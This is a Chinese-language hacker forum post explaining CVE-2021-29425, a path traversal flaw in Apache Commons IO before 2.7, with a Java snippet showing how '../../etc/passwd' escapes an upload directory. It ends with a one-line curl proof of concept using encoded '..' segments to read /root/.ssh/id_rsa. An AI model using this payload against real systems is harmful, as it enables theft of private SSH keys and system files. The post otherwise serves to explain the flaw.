黑客仓库

最全面知识的黑客论坛,全网最强大的漏洞数据聚合仓库丨黑客网站丨黑客论坛丨暗网丨红队武器库丨渗透测试丨POC/0day/Nday/1day丨网络安全丨黑客攻击丨服务器安全防御丨渗透测试入门丨网络技术交流丨蓝队丨护网丨红队丨欢迎来到黑客仓库,您可以在我们的论坛板块进行交流和学习。

立即注册账号!
commons-io

POC commons-io

Shacker已验证会员

黑客倉庫站長

贡献: 21%
注册
09 10, 2024
消息
186
JavaScript:
## commons-io 库中的 目录穿越问题-CVE-2021-29425

在2.7之前的Apache Commons IO中,调用方法时
FileNameUtils.normalize在处理输入的字符串时存在缺陷,normalize 方法作用是对传入的路径进行格式化操作,以符合当前系统文件格式要求。
在存在漏洞的版本中,当传入
传入"//../foo" 和 "\\..\foo",他们处理后的结果是相同的值,即在Apache Commons IO 2.7之前的版本中,调用方法时不会处理../../ 目录穿越问题,如果开发者依赖这个来检测文件名,
可能导致存在安全隐患。

## 影响版本:
Apache Commons IO < 2.7

## 漏洞等级:中危

## 举证危害

例如:当WEB应用开发者,使用FileNameUtils.normalize 来对输入的文件命进行处理,然后拼接文件名到目录后进行文件保存,这个时候就存在安全隐患。


```
String fileName = "../../etc/passwd" ;            // 用户传入的可控参数,比如:../../etc/passwd
fileName = FileNameUtils.normalize(fileName);    // 处理后,文件名还是../../etc/passwd
          
if (fileName != null) {
    File newFile = new File("/base/uploads", fileName);    // 拼接后,实际文件为:/base/uploads/../../etc/passwd 即: /etc/passwd文件
                                
    newFile = newFile.getCanonicalFile();            // 目录穿越成功

    // 对文件进行读写等操作
} else {
    // Assume malicious activity, handle error
}

```
## Issues

(IO-559)[https://issues.apache.org/jira/browse/IO-559]

## 参考

https://snyk.io/vuln/SNYK-JAVA-COMMONSIO-1277109

poc: `curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa`
 
后退
顶部